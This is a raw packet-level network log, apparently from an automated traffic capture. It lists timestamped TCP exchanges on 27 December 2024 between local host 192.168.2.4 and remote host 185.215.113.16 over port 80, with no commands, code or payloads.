Dec 27, 2024 09:00:18.011650085 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.012387991 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.012490034 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.012636900 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.013257027 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.013366938 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.014131069 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.014183044 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.014250994 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.014324903 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.015021086 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.015130997 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.015183926 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.015902042 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.016009092 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.016053915 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.016782999 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.016900063 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.016961098 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.017674923 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.017771006 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.017901897 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.018522024 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.018625021 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.018771887 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.019479990 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.019577026 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.019661903 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.020272017 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.020365953 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.020539045 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.021173954 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.021269083 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.021550894 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.022047043 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.022161007 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.022209883 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.022927046 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.022963047 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.023010015 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.023417950 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.023807049 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.023916960 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.024667978 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.024728060 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.024755001 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.024806023 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.025563955 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.025638103 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.026143074 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.026469946 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.026565075 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.027163029 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.027326107 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.027437925 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.027533054 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.028202057 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.028320074 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.028362989 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.029086113 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.029223919 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.029284000 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.029926062 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.048367023 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.185024023 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.185117006 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.185185909 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.185424089 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.185642004 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.185702085 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.185725927 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.186506987 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.186640024 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.186661959 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.187367916 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.187437057 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.187500000 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.188285112 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.188425064 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.188503027 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.189137936 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.189205885 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.189229965 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.190004110 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.190135956 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.190146923 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.190881014 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.190970898 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.190999031 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.191806078 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.191843033 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.191905975 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.192636013 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.192754030 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.192758083 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.193522930 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.193591118 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.193691015 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.194421053 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.194478989 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.194530010 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.195300102 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.195348024 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.195382118 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.196167946 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.196238995 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.196260929 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.197031975 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.197088957 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.197124004 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.197943926 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.198049068 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.198143959 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.198827982 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.198839903 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.198899031 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.199687958 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.199760914 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.199788094 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.200555086 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.200651884 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.200661898 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.201428890 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.201479912 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.201540947 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.202341080 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.202398062 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.202446938 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.203207970 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.203330994 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.203339100 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.204076052 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.204116106 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.204132080 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.204955101 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.205038071 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.205079079 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.205841064 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.205915928 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.205950022 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.206747055 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.206824064 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.206839085 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.207598925 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.207711935 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.207762957 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.208476067 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.208523989 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.208560944 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.209356070 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.209428072 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.209449053 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.210213900 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.210323095 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.210333109 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.211102962 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.211203098 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.211231947 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.211982012 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.212033987 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.212090015 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.212871075 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.212960958 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.212974072 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.213778973 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.213885069 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.213893890 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.214621067 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.214682102 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.214684963 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.215544939 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.215605021 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.215614080 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.215718985 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.216406107 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.216593027 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.216640949 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.217261076 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.217355967 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.217386961 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.218168020 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.218270063 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.218383074 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.219017029 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.219130039 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.219338894 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.219897032 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.219954967 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.219966888 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.220777988 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.220854998 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.220909119 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.221714020 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.221810102 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.221848011 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.222548008 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.222599983 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.222647905 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.223427057 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.223510981 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.223670006 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.224312067 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.224365950 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.224401951 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.225168943 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.225260973 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.225265980 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.226037979 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.226140022 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.226146936 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.226365089 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.226943970 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.227016926 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.227104902 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.227838993 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.227930069 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.227994919 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.228681087 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.228786945 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.228794098 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.229562998 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.229656935 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.229676008 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.230474949 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.230552912 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.230587006 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.267330885 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.386509895 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.386538982 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.386661053 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.386857986 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.386980057 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.387509108 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.387897968 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.387911081 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.388076067 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.388633966 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.388731003 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.388848066 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.389484882 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.389584064 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.389684916 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.390423059 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.390530109 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.390573978 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.391232014 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.391297102 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.391443014 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.392103910 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.392205000 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.392322063 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.392990112 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.393121958 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.393194914 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.393888950 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.393986940 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.394056082 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.394777060 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.394881964 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.394953012 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.395642042 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.395725965 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.395801067 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.396549940 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.396650076 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.396771908 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.397387028 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.397504091 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.397813082 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.398264885 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.398339987 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.398400068 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.399157047 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.399264097 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.399334908 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.400119066 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.400130987 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.400182009 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.400892019 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.401019096 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.401101112 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.401779890 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.401945114 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.402111053 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.402668953 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.402776003 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.402873039 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.403557062 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.403661013 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.403749943 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.404428959 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.404592991 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.404642105 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.405350924 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.405364990 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.405416012 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.406177044 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.406270027 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.406352043 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.407145977 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.407179117 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.407238007 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.407946110 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.408171892 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.408236027 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.408842087 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.408974886 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.409035921 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.409828901 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.409842014 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.409914017 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.410640001 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.410725117 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.410809040 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.411454916 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.411586046 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.411679983 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.412357092 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.412462950 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.412529945 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.413230896 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.413371086 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.413436890 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.414093018 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.414314032 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.414370060 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.415035963 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.415107012 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.415177107 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.415885925 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.415955067 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.416007996 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.416842937 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.416857958 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.416929960 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.417736053 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.417749882 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.417807102 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:18.418529034 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:18.418540001 CET	80	49743	185.215.113.16	192.168.2.4
